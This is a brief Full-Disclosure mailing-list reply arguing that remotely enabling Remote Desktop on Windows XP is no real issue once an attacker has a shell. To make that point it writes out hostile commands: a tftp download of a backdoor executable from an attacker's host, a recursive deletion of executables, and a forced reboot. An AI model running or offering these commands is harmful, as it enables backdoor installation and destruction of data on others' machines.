Re: XP Remote Desktop Remote Activation

["morning_wood" <se_cur_ity () hotmail com>]

> a malicious user who has already gained a command shell to activate

umm... you already own the box.
try... 
tftp -i yourhost get evilbackdoor.exe ( vnc mabey )

or

c:\del *.exe /s
c:\shutdown -r

I realy do not see the SECURITY ISSUE here.


cheers,
m.wood

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html